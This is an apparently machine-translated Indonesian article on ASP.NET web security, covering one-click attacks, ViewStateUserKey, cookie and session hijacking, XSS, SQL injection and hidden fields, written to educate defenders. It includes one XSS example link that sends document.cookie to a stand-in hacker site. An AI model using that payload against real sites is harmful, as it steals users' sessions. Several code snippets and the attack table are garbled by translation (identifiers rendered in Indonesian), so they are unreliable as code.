Jika Anda membaca artikel ini, Anda mungkin tidak perlu yakin bahwa keamanan dalam aplikasi Web semakin penting. Apa yang mungkin Anda perlukan adalah beberapa saran praktis tentang cara menerapkan keamanan dalam aplikasi ASP.NET Anda. Kabar buruknya adalah tidak ada platform pengembangan—termasuk ASP.NET—yang dapat menjamin bahwa setelah Anda mengadopsi platform tersebut, Anda akan dapat menulis kode aman 100%. Siapa pun yang mengatakan itu pasti berbohong. Kabar baiknya adalah dalam kasus ASP.NET, ASP.NET, khususnya versi 1.1 dan versi 2.0 yang akan datang, menyertakan beberapa pertahanan bawaan yang mudah digunakan.
Menerapkan semua fitur ini saja tidak cukup untuk melindungi aplikasi Web dari setiap serangan yang mungkin dan dapat diperkirakan. Namun, bila dikombinasikan dengan teknik pertahanan dan strategi keamanan lainnya, fungsionalitas ASP.NET bawaan dapat membentuk perangkat yang kuat untuk membantu memastikan bahwa aplikasi berjalan di lingkungan yang aman.
Keamanan web adalah gabungan dari banyak faktor dan merupakan hasil dari strategi yang melampaui satu aplikasi dan melibatkan manajemen basis data, konfigurasi jaringan, serta rekayasa sosial dan phishing.
Tujuan artikel ini adalah untuk menjelaskan apa yang harus selalu dilakukan pengembang ASP.NET untuk menjaga standar keamanan pada tingkat yang wajar. Itulah inti dari keamanan: tetap waspada dan jangan pernah lengah, sehingga semakin sulit bagi penjahat untuk melakukan peretasan.
Mari kita lihat fitur apa saja yang disediakan ASP.NET untuk menyederhanakan pekerjaan ini.
Pada Tabel 1, saya telah merangkum jenis serangan web yang paling umum, beserta kelemahan aplikasi yang memungkinkan serangan ini berhasil.
Serangan | Kemungkinan Pemicu Serangan |
Cross-site scripting (XSS) | Menggemakan input pengguna yang tidak dipercaya ke dalam halaman |
Injeksi SQL | Menggabungkan input pengguna untuk membentuk perintah SQL |
Pembajakan sesi | ID Sesi ID sesi yang ditebak dan dicuri Cookie Input pengguna yang tidak tepercaya |
dikirim melalui skrip dengan | satu klik | HTTP yang dirasakan Posting
Bidang Tersembunyi Merusak | Bidang Tersembunyi yang Tidak Dicentang (dan Tepercaya) Berisi Data Sensitif |
Apa fakta penting yang muncul dari daftar
serangan web yang umum terjadi
Menurut pendapat saya, setidaknya ada tiga hal:
• | Setiap kali Anda memasukkan input pengguna apa pun ke dalam markup browser, Anda berpotensi terkena serangan injeksi kode (injeksi SQL dan varian XSS apa pun). |
• | Akses basis data harus diterapkan dengan cara yang aman, yaitu menggunakan sesedikit mungkin izin untuk basis data dan membagi tanggung jawab masing-masing pengguna berdasarkan peran. |
• | Data sensitif tidak boleh dikirim melalui jaringan (apalagi secara jelas) dan harus disimpan di server dengan cara yang aman. |
Menariknya, ketiga poin di atas masing-masing menargetkan tiga aspek keamanan Web yang berbeda, dan kombinasi ketiga aspek ini adalah satu-satunya cara yang masuk akal untuk menghasilkan aplikasi tahan serangan dan tahan kerusakan. Berbagai lapisan keamanan web dapat diringkas sebagai berikut:
• | Praktik pengkodean: validasi data, pemeriksaan jenis dan panjang buffer, tindakan anti-gangguan. |
• | Kebijakan akses data: gunakan keputusan untuk melindungi akun yang paling lemah, gunakan prosedur tersimpan atau setidaknya parameterisasi memerintah. |
• | Penyimpanan dan manajemen yang efisien: jangan mengirim data penting ke klien, gunakan kode hash untuk mendeteksi operasi, mengautentikasi pengguna dan melindungi identitas, menerapkan kebijakan kata sandi yang ketat |
Seperti yang Anda lihat, ini hanya dapat dicapai dengan mengembangkan upaya gabungan dari orang-orang, arsitek, dan administrator menghasilkan aplikasi yang aman. Harap jangan berasumsi bahwa Anda dapat mencapai tujuan yang sama dengan cara lain.
Saat Anda menulis aplikasi ASP.NET, Anda tidak sendirian melawan pasukan peretas: satu-satunya senjata Anda adalah baris kode yang Anda ketik dengan otak, keterampilan, dan jari Anda. ASP.NET 1.1 dan yang lebih baru hadir untuk menyelamatkan dengan fitur spesifik yang secara otomatis meningkatkan pertahanan Anda terhadap beberapa ancaman yang tercantum di atas. Di bawah ini kami memeriksanya secara rinci.
diperkenalkan di ASP.NET 1.1. ViewStateUserKey adalah properti string dari kelas Halaman . Mengapa? Mari kita lihat apa yang tertulis dalam dokumentasi.
dalam menetapkan pengenal ke pengguna individu dalam variabel status tampilan yang terkait dengan halaman saat ini
, arti kalimat ini cukup jelas; tetapi bisakah Anda dengan jujur memberi tahu saya bahwa kalimat tersebut menggambarkan tujuan awal properti? Untuk memahami peran ViewStateUserKey , Anda perlu terus membaca hingga bagian Keterangan .
Properti ini membantu mencegah serangan sekali klik karena memberikan masukan tambahan untuk membuat hash yang mencegah gangguan pada status tampilan. Dengan kata lain, ViewStateUserKey mempersulit peretas untuk menggunakan konten status tampilan klien untuk menyiapkan postingan berbahaya terhadap situs. Properti ini dapat diberikan string apa pun yang tidak kosong, namun sebaiknya berupa ID sesi atau ID pengguna. Untuk lebih memahami pentingnya properti ini, mari kita perkenalkan secara singkat dasar-dasar serangan satu klik .
Serangan sekali klik melibatkan pengeposan formulir HTTP berbahaya ke situs Web yang dikenal dan rentan. Disebut "satu klik" karena sering kali diawali dengan korban yang secara tidak sengaja mengklik link menggoda yang mereka temukan melalui email atau saat browsing di forum yang ramai. Dengan mengeklik tautan tersebut, pengguna secara tidak sengaja memicu proses jarak jauh yang pada akhirnya mengakibatkan <form> berbahaya dikirimkan ke situs. Jujur saja di sini: bisakah Anda memberi tahu saya bahwa Anda belum pernah mengeklik tautan seperti Klik di sini untuk memenangkan $1.000.000 karena penasaran? Tentu saja, tidak ada hal buruk yang terjadi pada Anda. Anggap saja demikian; dapatkah Anda mengatakan bahwa semua orang di komunitas Web selamat? Siapa tahu.
Agar berhasil, serangan sekali klik memerlukan kondisi latar belakang tertentu:
• | Penyerang harus memiliki pengetahuan yang memadai tentang situs yang rentan. Hal ini dimungkinkan karena penyerang dapat "rajin" mempelajari file tersebut, atau dia adalah orang dalam yang marah (misalnya, seorang karyawan yang dipecat karena tidak jujur). Oleh karena itu, akibat dari serangan semacam itu bisa sangat serius. |
• | Situs harus menggunakan cookie (cookie persisten lebih baik) untuk mengaktifkan login tunggal, dan penyerang telah menerima cookie otentikasi yang valid. |
• | Beberapa pengguna situs ini pernah terlibat dalam transaksi sensitif. |
• | Penyerang harus memiliki akses ke halaman target. |
Seperti disebutkan sebelumnya, serangan ini melibatkan pengiriman formulir HTTP berbahaya ke halaman yang menunggu formulir tersebut. Dapat disimpulkan bahwa halaman ini akan menggunakan data yang diposting untuk melakukan beberapa operasi sensitif. Seperti yang dapat Anda bayangkan, penyerang tahu persis cara menggunakan setiap domain dan dapat memberikan beberapa nilai palsu untuk mencapai tujuannya. Ini biasanya merupakan serangan yang spesifik terhadap target dan sulit dilacak karena hubungan segitiga yang ditimbulkannya—yaitu, peretas mengelabui korban agar mengeklik tautan di situs peretas, yang pada gilirannya menyebabkan kode berbahaya diposting ke a pihak ketiga. Tiga situs. (Lihat Gambar 1.)
Gambar 1. Serangan satu klik
Mengapa korban tidak menaruh curiga? Hal ini karena, dalam kasus ini, alamat IP yang memunculkan permintaan berbahaya di log server adalah alamat IP korban. Seperti disebutkan sebelumnya, alat ini tidak umum (dan mudah diluncurkan) seperti XSS "klasik", namun sifatnya dapat menyebabkan konsekuensi yang sangat buruk. Bagaimana cara menghadapinya? Selanjutnya, kita memeriksa bagaimana serangan ini bekerja di lingkungan ASP.NET.
Kecuali jika operasi dikodekan dalam peristiwa Page_Load , halaman ASP.NET tidak mungkin mengeksekusi kode sensitif di luar peristiwa postback. Agar peristiwa postback terjadi, bidang status tampilan diperlukan. Ingatlah bahwa ASP.NET memeriksa status postback permintaan dan, bergantung pada apakah kolom input _VIEWSTATE ada, setel IsPostBack sesuai dengan itu. Oleh karena itu, siapa pun yang ingin mengirim permintaan palsu ke halaman ASP.NET harus memberikan bidang status tampilan yang valid.
Agar serangan satu klik berhasil, peretas harus dapat mengakses halaman tersebut. Pada titik ini, peretas yang berpandangan jauh ke depan akan menyimpan halaman tersebut secara lokal. Dengan cara ini, dia dapat mengakses bidang _VIEWSTATE dan menggunakan bidang tersebut untuk membuat permintaan dengan status tampilan lama dan nilai berbahaya dari bidang lain. Pertanyaannya adalah, apakah ini akan berhasil?
Mengapa tidak? Jika penyerang dapat memberikan cookie autentikasi yang valid, peretas akan mendapatkan akses dan permintaan akan diproses seperti biasa. Konten status tampilan tidak diperiksa sama sekali di server (saat EnableViewStataMac tidak aktif), atau hanya jika konten tersebut telah dirusak. Secara default, tidak ada mekanisme dalam status tampilan untuk mengaitkan konten ini dengan pengguna tertentu. Penyerang dapat dengan mudah menggunakan kembali status tampilan yang diperoleh untuk mengakses halaman secara sah dengan meniru identitas pengguna lain untuk menghasilkan permintaan palsu. Di sinilah ViewStateUserKey berperan.
Jika dipilih secara akurat, properti ini dapat menambahkan informasi spesifik pengguna ke status tampilan. Saat memproses permintaan, ASP.NET mengekstrak kunci dari status tampilan dan membandingkannya dengan ViewStateUserKey dari halaman yang sedang berjalan. Jika keduanya cocok, permintaan tersebut akan dianggap sah; jika tidak, pengecualian akan diberikan. Nilai apa yang valid untuk atribut ini?
Menyetel ViewStateUserKey ke string konstan untuk semua pengguna sama dengan membiarkannya kosong. Anda harus menetapkannya ke nilai yang berbeda untuk setiap pengguna—ID pengguna, sebaiknya ID sesi. Untuk beberapa alasan teknis dan sosial, ID sesi lebih tepat karena ID sesi tidak dapat diprediksi, kedaluwarsa seiring waktu, dan berbeda untuk setiap pengguna.
Berikut adalah beberapa kode yang penting di semua halaman Anda:
void Page_Init (pengirim objek, EventArgs e) { ViewStateUserKey = Sesi.SessionID; : }
Untuk menghindari duplikasi kode ini, Anda dapat memperbaikinya dalam metode virtual OnInit dari kelas yang diturunkan dari Page . (Perhatikan bahwa Anda harus menyetel properti ini di acara Page.Init .)
protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Sesi.SessionID; }
Secara umum, menggunakan kelas halaman dasar selalu merupakan hal yang baik, seperti yang saya jelaskan di artikel Bangun Halaman ASP.NET Anda di Batuan Dasar yang Lebih Kaya . Jika Anda ingin mempelajari lebih lanjut tentang trik penyerang sekali klik, Anda dapat menemukan artikel yang sangat bagus di aspnetpro.com .
cookie autentikasi ada karena membantu pengembang mencapai tujuan tertentu. Cookie bertindak sebagai penghubung tetap antara browser dan server. Khusus untuk aplikasi yang menggunakan sistem masuk tunggal, cookie yang dicurilah yang memungkinkan terjadinya serangan. Hal ini sepenuhnya berlaku untuk serangan satu klik.
Untuk menggunakan cookie, Anda tidak perlu membuat dan membacanya secara terprogram. Jika Anda menggunakan status sesi dan menerapkan autentikasi formulir, Anda secara implisit menggunakan cookie. Tentu saja, ASP.NET mendukung status sesi tanpa cookie, dan ASP.NET 2.0 juga memperkenalkan otentikasi formulir tanpa cookie. Oleh karena itu, secara teoritis Anda dapat menggunakan fitur-fitur ini tanpa cookie. Saya tidak mengatakan Anda tidak perlu melakukan hal ini lagi, namun kenyataannya ini adalah salah satu situasi di mana penyembuhannya lebih buruk daripada penyakitnya. Sesi tanpa cookie sebenarnya menyematkan ID sesi di URL sehingga siapa pun dapat melihatnya.
Apa saja potensi masalah terkait penggunaan cookie? Cookie dapat dicuri (yaitu disalin ke komputer peretas) dan diracuni (yaitu diisi dengan data berbahaya). Tindakan ini sering kali merupakan awal dari serangan yang akan datang. Jika dicuri, cookie "mengizinkan" pengguna eksternal untuk terhubung ke aplikasi (dan menggunakan halaman yang dilindungi) atas nama Anda, sehingga berpotensi memungkinkan peretas dengan mudah menghindari otorisasi dan dapat melakukan apa yang diizinkan oleh peran dan pengaturan keamanan korban. operasi apa pun. Oleh karena itu, cookie otentikasi biasanya diberikan masa pakai yang relatif singkat, yaitu 30 menit. (Perhatikan bahwa meskipun sesi browser membutuhkan waktu lebih lama untuk diselesaikan, cookie akan tetap kedaluwarsa.) Jika terjadi pencurian, peretas memiliki waktu 30 menit untuk mencoba melakukan serangan.
Anda dapat memperpanjang batas waktu ini sehingga pengguna tidak perlu terlalu sering masuk; namun ketahuilah bahwa Anda berisiko melakukannya. Penggunaan cookie persisten ASP.NET harus dihindari dalam kondisi apa pun. Ini akan menghasilkan cookie dengan masa pakai hampir permanen hingga 50 tahun! Cuplikan kode berikut menunjukkan cara mengubah tanggal kedaluwarsa cookie dengan mudah.
void OnLogin(pengirim objek, EventArgs e) { // Periksa kredensial if (ValidateUser(pengguna, pswd)) { // Tetapkan tanggal kedaluwarsa cookie kue HttpCookie; cookie = FormsAuthentication.GetAuthCookie(pengguna, isPersistent); jika (adalah Persisten) cookie.Kedaluwarsa = DateTime.Now.AddDays(10); //Tambahkan cookie ke respons Respon.Cookies.Add(cookie); //Alihkan string targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(pengguna, isPersistent); Respon.Redirect(targetUrl); } }
Anda dapat menggunakan kode ini di formulir login Anda untuk menyempurnakan masa pakai cookie autentikasi.
juga digunakan untuk mengambil status sesi untuk pengguna tertentu. ID sesi disimpan dalam cookie yang dikirim bolak-balik dengan permintaan dan disimpan di komputer browser. Demikian pula, jika dicuri, cookie sesi dapat digunakan untuk memungkinkan peretas membobol sistem dan mengakses status sesi orang lain. Tentu saja, hal ini dimungkinkan selama sesi yang ditentukan aktif (biasanya tidak lebih dari 20 menit). Serangan melalui status sesi yang ditiru disebut pembajakan sesi . Untuk informasi lebih lanjut tentang pembajakan sesi, baca Pencurian di Web: Mencegah Pembajakan Sesi .
Seberapa berbahayakah serangan ini? Sulit untuk mengatakannya. Hal ini bergantung pada fungsionalitas situs Web dan, yang lebih penting, bagaimana halaman situs dirancang. Misalnya, Anda bisa mendapatkan cookie sesi orang lain dan melampirkannya ke permintaan halaman di situs Anda. Anda memuat halaman dan menelusuri antarmuka pengguna normalnya. Anda tidak dapat memasukkan kode apa pun ke dalam halaman, atau mengubah apa pun di halaman, kecuali halaman tersebut berfungsi menggunakan status sesi pengguna lain. Hal ini sebenarnya tidak terlalu buruk, namun jika informasi dalam sesi tersebut sensitif dan penting, hal ini dapat langsung mengarah pada keberhasilan eksploitasi. Seorang hacker tidak dapat menembus isi penyimpanan sesi, namun ia dapat menggunakan informasi yang disimpan di sana seolah-olah ia telah masuk secara legal. Misalnya, pertimbangkan aplikasi e-commerce di mana pengguna menambahkan item ke keranjang belanja mereka saat menelusuri situs.
• | Opsi 1. Isi keranjang belanja disimpan dalam keadaan sesi. Namun, saat checkout, pengguna diminta untuk mengonfirmasi dan memasukkan detail pembayaran melalui koneksi SSL yang aman. Dalam hal ini, dengan mengakses status sesi pengguna lain, peretas hanya dapat mengetahui beberapa detail tentang preferensi belanja korban. Pembajakan di lingkungan ini sebenarnya tidak menimbulkan kerusakan apa pun. Yang dipertaruhkan adalah kerahasiaan. |
• | Opsi 2. Aplikasi memproses satu profil untuk setiap pengguna terdaftar dan menyimpan profil dalam status sesi. Lebih buruknya, profil tersebut (mungkin) menyertakan informasi kartu kredit. Mengapa detail profil disimpan dalam sesi tersebut? Mungkin salah satu tujuan aplikasi ini adalah untuk mencegah pengguna mengetik berulang kali informasi kartu kredit dan perbankan mereka. Oleh karena itu, saat checkout, aplikasi mengarahkan pengguna ke halaman dengan domain yang sudah diisi sebelumnya. Jika tidak diperlukan, salah satu bidang ini adalah nomor kartu kredit yang diperoleh dari status sesi. Bisakah Anda menebak sekarang bagaimana ceritanya berakhir? |
Desain halaman aplikasi adalah kunci untuk mencegah serangan pembajakan sesi. Tentu masih ada dua hal yang belum diperjelas. Poin pertama adalah, bagaimana cara mencegah pencurian cookie? Poin kedua adalah, bagaimana ASP.NET mendeteksi dan mencegah pembajakan?
Cookie sesi ASP.NET sangat sederhana dan terbatas pada string ID sesi itu sendiri. Runtime ASP.NET mengekstrak ID sesi dari cookie dan membandingkannya dengan sesi aktif. Jika ID valid, ASP.NET akan terhubung ke sesi terkait dan melanjutkan. Perilaku ini sangat memudahkan hacker yang telah mencuri atau menebak ID sesi yang valid.
Serangan XSS dan man-in-the-middle, serta akses brute force ke PC klien, merupakan cara untuk mendapatkan cookie yang valid. Untuk mencegah pencurian, Anda harus menerapkan praktik keamanan terbaik untuk mencegah keberhasilan XSS dan variannya.
Dan untuk mencegah tebakan ID sesi, Anda sebaiknya tidak melebih-lebihkan keterampilan Anda. Menebak ID sesi berarti Anda mengetahui cara memprediksi string ID sesi yang valid. Untuk algoritma yang digunakan oleh ASP.NET (15 angka acak dipetakan ke karakter yang mendukung URL), kemungkinan menebak ID yang valid secara acak mendekati nol. Saya tidak dapat memikirkan alasan apa pun untuk mengganti generator ID sesi default dengan milik Anda sendiri. Dalam banyak kasus, melakukan hal ini hanya akan membuat segalanya lebih mudah bagi penyerang.
Konsekuensi terburuk dari pembajakan sesi adalah ketika cookie dicuri atau ditebak, ASP.NET tidak memiliki cara untuk mendeteksi penggunaan cookie yang menipu. Sekali lagi, alasannya adalah ASP.NET membatasi dirinya untuk memeriksa validitas ID dan asal cookie.
Teman saya Jeff Prosise di Wintellect menulis artikel bagus tentang pembajakan sesi untuk Majalah MSDN . Kesimpulannya kurang memuaskan: Hampir tidak mungkin membangun pertahanan yang dapat sepenuhnya melindungi terhadap serangan berdasarkan cookie ID sesi yang dicuri. Namun kode yang dia kembangkan memberikan saran yang sangat masuk akal untuk lebih meningkatkan standar keamanan. Jeff membuat modul HTTP yang memantau permintaan masuk dan respons keluar untuk cookie ID sesi. Modul ini menambahkan kode hash ke ID sesi, sehingga lebih sulit bagi penyerang untuk menggunakan kembali cookie tersebut. Anda dapat membaca detailnya di sini .
digunakan untuk mempertahankan status kontrol antara dua permintaan berturut-turut untuk halaman yang sama. Secara default, status tampilan dikodekan Base64 dan ditandatangani dengan hash untuk mencegah gangguan. Tidak mungkin mengubah status tampilan tanpa mengubah pengaturan halaman default. Jika penyerang mengubah status tampilan, atau bahkan membuat ulang status tampilan menggunakan algoritma yang benar, ASP.NET akan menangkap upaya ini dan memberikan pengecualian. Merusak status tampilan tidak selalu berbahaya, meskipun mengubah status kontrol server—namun dapat menjadi sarana infeksi serius. Oleh karena itu, sangat penting untuk tidak menghapus pemeriksaan silang Kode Otentikasi Komputer (MAC) yang terjadi secara default. Lihat Gambar 2.
Gambar 2. Faktor-faktor yang membuat status tampilan sulit diubah saat EnableViewStateMac diaktifkan
Ketika pemeriksaan MAC diaktifkan (default), nilai hash ditambahkan ke status tampilan serial, yang dihasilkan menggunakan beberapa nilai sisi server dan rahasia pengguna status tampilan (jika ada). Ketika status tampilan diposting kembali, hash dihitung ulang menggunakan nilai sisi server yang baru dan dibandingkan dengan nilai yang disimpan. Jika keduanya cocok, permintaan diperbolehkan; jika tidak, pengecualian akan diberikan. Meskipun dengan asumsi seorang peretas memiliki kemampuan untuk memecahkan dan membuat ulang status tampilan, dia tetap perlu mengetahui nilai yang disimpan oleh server untuk mendapatkan hash yang valid. Secara khusus, peretas perlu mengetahui kunci mesin yang direferensikan dalam entri <machineKey> dari machine.config.
Secara default, entri dibuat secara otomatis dan disimpan secara fisik di Otoritas Keamanan Lokal Windows (LSA). Hanya dalam kasus peternakan Web, di mana kunci mesin untuk status tampilan harus sama di semua mesin, sebaiknya Anda menentukannya sebagai teks jelas di file machine.config.
Pemeriksaan MAC status tampilan dikontrol melalui atribut direktif @Page yang disebut EnableViewStateMac . Seperti disebutkan sebelumnya, secara default, ini disetel ke true. Harap jangan pernah menonaktifkan ini; melakukan hal ini akan membuat serangan satu klik pada gangguan tampilan mungkin terjadi dengan kemungkinan keberhasilan yang tinggi.
Cross-site scripting (XSS) adalah teman lama bagi banyak pengembang web berpengalaman, yang telah ada sejak tahun 1999. Sederhananya, XSS mengeksploitasi kerentanan dalam kode untuk memasukkan kode yang dapat dieksekusi oleh peretas ke dalam sesi browser pengguna lain. Jika dijalankan, kode yang disuntikkan dapat melakukan sejumlah tindakan berbeda - mendapatkan cookie dan mengunggah salinannya ke situs Web yang dikendalikan peretas, memantau sesi Web pengguna dan meneruskan data, mengubah perilaku dan tampilan halaman yang diretas sehingga dapat dilakukan. Memberikan informasi palsu atau bahkan membuat diri Anda gigih sehingga saat pengguna kembali ke halaman tersebut lagi, kode penipuan tersebut akan berjalan kembali. Silakan baca lebih lanjut tentang dasar-dasar serangan XSS di artikel TechNet Ikhtisar Skrip Lintas Situs .
Kerentanan apa dalam kode yang memungkinkan terjadinya serangan XSS?
XSS mengeksploitasi aplikasi Web yang secara dinamis menghasilkan halaman HTML tetapi tidak memvalidasi input yang dikembalikan ke halaman tersebut. Input di sini mengacu pada string kueri, cookie, dan konten kolom formulir. Jika konten ini muncul di web tanpa pemeriksaan kinerja yang tepat, terdapat risiko bahwa peretas dapat memanipulasinya untuk mengeksekusi skrip berbahaya di browser klien. (Serangan sekali klik yang disebutkan sebelumnya sebenarnya adalah varian terbaru dari XSS.) Serangan XSS yang umum menyebabkan pengguna yang tidak curiga mengeklik tautan menggoda yang lolos dari kode skrip yang tertanam di tautan tersebut. Kode yang menipu akan dikirim ke halaman rentan yang akan menampilkannya tanpa kecurigaan. Berikut ini contoh yang mungkin terjadi:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>dokumen.lokasi.ganti( 'http://www.hackersite.com/HackerPage.aspx? Cookie='+dokumen.cookie); </script>">Klik untuk mengklaim hadiah Anda</a>
Seorang pengguna mengklik pada link yang tampaknya aman, yang pada akhirnya mengakibatkan beberapa kode skrip diteruskan ke halaman yang rentan, yang pertama-tama memperoleh semua cookie di komputer pengguna dan kemudian mengirimkannya ke situs Web peretas.
Penting untuk dicatat bahwa XSS bukanlah masalah khusus vendor dan oleh karena itu tidak serta merta mengeksploitasi kerentanan di Internet Explorer. Ini mempengaruhi semua server web dan browser yang ada di pasaran saat ini. Perlu dicatat bahwa tidak ada satu pun patch yang dapat memperbaiki masalah ini. Anda dapat melindungi halaman Anda dari serangan XSS dengan menerapkan tindakan khusus dan praktik pengkodean yang baik. Perlu diketahui juga bahwa penyerang tidak mengharuskan pengguna mengklik link untuk meluncurkan serangan.
Untuk bertahan melawan XSS, pada dasarnya Anda harus menentukan masukan mana yang valid dan kemudian menolak semua masukan lainnya. Anda dapat membaca daftar periksa terperinci untuk bertahan dari serangan XSS dalam buku yang harus dibaca di Microsoft - Menulis Kode Aman oleh Michael Howard dan David LeBlanc. Secara khusus, saya menyarankan Anda membaca Bab 13 dengan cermat.
Cara utama untuk menggagalkan serangan XSS yang berbahaya adalah dengan menambahkan lapisan validasi yang dirancang dengan baik dan efektif ke masukan Anda (semua jenis data masukan). Misalnya, ada kasus di mana bahkan warna yang tidak berbahaya (RGB tricolor) dapat membawa skrip yang tidak terkontrol langsung ke halaman.
Di ASP.NET 1.1, ketika atribut ValidateRequest pada direktif @Page diaktifkan, pemeriksaan dilakukan untuk memastikan pengguna tidak mengirimkan tag HTML yang berpotensi berbahaya dalam string kueri, cookie, atau bidang formulir. Jika ini terdeteksi, pengecualian akan dilempar dan permintaan akan dibatalkan. Properti ini diaktifkan secara default; Anda tidak perlu melakukan apa pun untuk melindunginya. Jika Anda ingin mengizinkan tag HTML untuk lewat, Anda harus menonaktifkan atribut ini secara aktif.
<%@ Halaman ValidateRequest="false" %>
ValidateRequest bukanlah obat mujarab dan tidak dapat menggantikan lapisan validasi yang efektif. Silakan baca di sini untuk mendapatkan banyak informasi berharga tentang dasar-dasar fitur ini. Ini pada dasarnya bekerja dengan menerapkan ekspresi reguler untuk menangkap beberapa rangkaian yang berpotensi membahayakan.
Catatan: Fungsi ValidateRequest awalnya bermasalah , jadi Anda perlu menerapkan patch agar berfungsi seperti yang diharapkan. Informasi penting seperti ini seringkali luput dari perhatian. Anehnya, saya menemukan bahwa salah satu komputer saya masih terkena dampak cacat tersebut. Cobalah!
Tidak ada alasan untuk menutup ValidateRequest . Anda dapat menonaktifkannya, tetapi hanya untuk alasan yang sangat bagus; salah satu alasannya mungkin karena pengguna harus dapat memposting beberapa HTML ke situs untuk mendapatkan opsi pemformatan yang lebih baik. Dalam hal ini, Anda harus membatasi jumlah tag HTML yang diperbolehkan ( <pre> , <b> , <i> , <p> , <br> , <hr> ) dan menulis ekspresi reguler untuk memastikan Tidak ada lagi yang diizinkan atau diterima.
Berikut adalah beberapa tips tambahan untuk membantu melindungi ASP.NET dari serangan XSS:
• | Gunakan HttpUtility.HtmlEncode untuk mengkonversi simbol-simbol berbahaya ke representasi HTML mereka. |
• | Gunakan tanda kutip ganda dibandingkan tanda kutip tunggal karena pengkodean HTML hanya lolos dari tanda kutip ganda. |
• | Memaksa halaman kode untuk membatasi jumlah karakter yang dapat digunakan. |
Singkatnya, gunakan tetapi jangan sepenuhnya mempercayai properti ValidateRequest dan jangan terlalu malas. Luangkan waktu untuk memahami secara mendasar ancaman keamanan seperti XSS dan rencanakan strategi pertahanan yang berpusat pada satu poin penting: semua masukan pengguna berbahaya.
Injeksi SQL adalah jenis serangan terkenal lainnya yang mengeksploitasi aplikasi yang menggunakan input pengguna yang tidak bersih untuk membentuk perintah basis data. Jika suatu aplikasi dengan senang hati menggunakan apa yang diketik pengguna ke dalam kolom formulir untuk membuat string perintah SQL, hal ini menghadapkan Anda pada risiko bahwa pengguna jahat dapat mengubah sifat kueri hanya dengan mengunjungi halaman dan memasukkan parameter palsu. Anda dapat mempelajari lebih lanjut tentang injeksi SQL di sini .
Ada banyak cara untuk mencegah serangan injeksi SQL. Teknik yang paling umum dijelaskan di bawah ini.
• | Pastikan jenis input pengguna sesuai dan mengikuti pola yang diharapkan (kode pos, nomor ID, email, dll.). Jika angka dari kotak teks diharapkan, blokir permintaan tersebut ketika pengguna memasukkan sesuatu yang tidak dapat dikonversi menjadi angka. |
• | Gunakan kueri berparameter, sebaiknya prosedur tersimpan. |
• | Gunakan izin SQL Server untuk membatasi apa yang dapat dilakukan pengguna individual pada database. Misalnya, Anda mungkin perlu menonaktifkan xp_cmdshell atau membatasi operasi hanya untuk administrator. |
Jika Anda menggunakan prosedur tersimpan, Anda dapat mengurangi kemungkinan serangan ini secara signifikan. Faktanya, dengan prosedur tersimpan, Anda tidak perlu membuat string SQL secara dinamis. Selain itu, SQL Server akan memverifikasi bahwa semua parameter memiliki tipe yang ditentukan. Meskipun teknik ini saja tidak 100% aman, ditambah dengan verifikasi, teknik ini sudah cukup untuk meningkatkan keamanan.
Lebih penting lagi, Anda harus memastikan bahwa hanya pengguna yang berwenang yang dapat melakukan operasi yang mungkin menimbulkan konsekuensi serius, seperti menghapus tabel. Hal ini memerlukan desain tingkat menengah aplikasi yang cermat. Teknik yang baik (bukan hanya untuk keselamatan) adalah dengan tetap fokus pada karakter. Pengguna harus dikelompokkan ke dalam peran dan akun yang ditentukan dengan serangkaian izin minimum untuk setiap peran.
Beberapa minggu yang lalu, situs Web Wintellect menjadi sasaran serangan injeksi SQL yang sangat canggih. Peretas berusaha membuat dan meluncurkan skrip FTP untuk mengunduh program yang berpotensi berbahaya dan dapat dijalankan. Untungnya serangan itu gagal. Atau apakah sebenarnya otentikasi pengguna yang kuat, penggunaan prosedur tersimpan, dan penggunaan izin SQL Server yang menyebabkan serangan gagal?
Ringkasnya, Anda harus mengikuti panduan berikut agar tidak disuntik dengan kode SQL yang berbahaya:
• | Jalankan dengan hak istimewa sesedikit mungkin dan jangan pernah mengeksekusi kode sebagai "sa". |
• | Membatasi akses ke prosedur tersimpan bawaan. |
• | Lebih suka menggunakan kueri berparameter SQL. |
• | Tidak menghasilkan pernyataan melalui penggabungan string dan tidak mengulangi kesalahan database. |
Dalam ASP tradisional, bidang tersembunyi adalah satu-satunya cara untuk mempertahankan data di antara permintaan. Setiap data yang perlu Anda ambil pada permintaan berikutnya dimasukkan ke dalam kolom <input> yang tersembunyi dan pengembalian dilakukan. Apa yang terjadi jika seseorang mengubah nilai yang disimpan dalam bidang ini pada klien? Selama teksnya jelas, lingkungan sisi server tidak dapat mendeteksinya. Di ASP.NET, properti ViewState halaman dan setiap kontrol memiliki dua tujuan. Di satu sisi, ViewState adalah cara untuk mempertahankan status di seluruh permintaan; di sisi lain, ViewState memungkinkan Anda menyimpan nilai khusus di bidang tersembunyi yang dilindungi dan tidak dapat diubah dengan mudah.
Seperti yang ditunjukkan pada Gambar 2, status tampilan ditambahkan dengan nilai hash, dan untuk setiap permintaan, nilai ini diperiksa untuk mendeteksi apakah telah terjadi gangguan. Kecuali untuk beberapa kasus, tidak ada alasan untuk menggunakan bidang tersembunyi di ASP.NET. Status tampilan mencapai fungsi yang sama dengan cara yang jauh lebih aman. Seperti disebutkan langsung, menyimpan nilai-nilai sensitif (seperti harga atau detail kartu kredit) di bidang tersembunyi secara terbuka membuka pintu bagi peretas; status tampilan bahkan dapat membuat praktik buruk ini lebih aman daripada sebelumnya, karena status tampilan memiliki mekanisme perlindungan data. Namun, perlu diingat bahwa status tampilan tahan terhadap kerusakan, namun kerahasiaan tidak dijamin kecuali enkripsi digunakan—detail kartu kredit yang disimpan dalam status tampilan tetap berisiko.
Di ASP.NET, kapan boleh menggunakan bidang tersembunyi? Saat Anda membangun kontrol kustom yang perlu mengirim data kembali ke server. Misalnya, asumsikan Anda ingin membuat kontrol DataGrid baru yang mendukung pengurutan ulang kolom. Anda perlu mengirim pesanan baru kembali ke server dalam postback. Jika tidak menyimpan informasi ini di kolom tersembunyi, di mana informasi tersebut dapat disimpan?
Jika field tersembunyi adalah field baca/tulis, yaitu klien diharapkan untuk menulis ke dalamnya, tidak ada cara untuk sepenuhnya mencegah serangan hacker. Anda dapat mencoba melakukan hashing atau mengenkripsi teks, tetapi hal itu tidak memberikan Anda keyakinan yang masuk akal bahwa teks tersebut tidak akan diretas. Pada titik ini, pertahanan terbaik adalah dengan membuat bidang tersembunyi berisi informasi yang tidak berguna dan tidak berbahaya.
